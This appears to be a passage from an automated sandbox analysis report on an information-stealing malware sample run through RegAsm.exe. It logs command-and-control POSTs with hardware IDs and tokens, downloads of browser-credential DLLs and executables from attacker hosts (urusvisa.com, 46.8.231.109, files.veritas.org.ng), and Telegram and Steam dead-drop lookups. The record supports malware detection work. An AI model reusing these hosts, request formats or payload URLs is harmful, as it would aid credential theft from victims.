name="mode"2------DAKFCGIJKJKFHIDHIIIE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFBHost: urusvisa.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 39 64 30 34 30 62 61 63 66 66 37 62 36 32 65 66 66 36 61 33 32 31 63 63 36 38 34 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 4b 4a 45 43 46 43 46 42 46 49 45 43 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="token"419d040bacff7b62eff6a321cc684255------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------IIEBKJECFCFBFIECBKFBContent-Disposition: form-data; name="mode"21------IIEBKJECFCFBFIECBKFB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDHHost: urusvisa.comContent-Length: 7601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEHost: urusvisa.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBHost: urusvisa.comContent-Length: 255Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224-a33c7340-61ca------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------DBFBFBGDBKJJKFIEHJDB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFBHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 64 38 63 33 34 31 37 63 34 34 31 37 65 34 35 37 63 61 32 64 32 34 31 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="mode"1------AAFHIIDHJEBFBFIDAKFB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 64 38 63 33 34 31 37 63 34 34 31 37 65 34 35 37 63 61 32 64 32 34 31 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="mode"2------FHDAEHDAKECGCAKFCFIJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: urusvisa.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 64 38 63 33 34 31 37 63 34 34 31 37 65 34 35 37 63 61 32 64 32 34 31 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="mode"21------GDHDHJEBGHJKFIECBGCB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: urusvisa.comContent-Length: 7565Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKFHost: urusvisa.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 147.45.44.104 147.45.44.104

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:52535 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:52540 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:52542 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:52545 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:52543 -> 46.8.231.109:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: possiwreeste.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: possiwreeste.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: underlinemdsj.site
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: possiwreeste.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: possiwreeste.site
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: underlinemdsj.site

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_00406963

Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=0cc506041bab305345_15129518936506012804
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=0cc506041bab305345_15129518936506012804
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2ae906657_snd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=363172cb00f0e13c58750676; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25330Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 30 Sep 2024 10:22:49 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: urusvisa.com
Source: global traffic	DNS traffic detected: DNS query: files.veritas.org.ng
Source: global traffic	DNS traffic detected: DNS query: possiwreeste.site
Source: global traffic	DNS traffic detected: DNS query: famikyjdiag.site
Source: global traffic	DNS traffic detected: DNS query: commandejorsk.site
Source: global traffic	DNS traffic detected: DNS query: underlinemdsj.site
Source: global traffic	DNS traffic detected: DNS query: bellykmrebk.site
Source: global traffic	DNS traffic detected: DNS query: agentyanlark.site
Source: global traffic	DNS traffic detected: DNS query: writekdmsnu.site
Source: global traffic	DNS traffic detected: DNS query: delaylacedmn.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: possiwreeste.site

Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
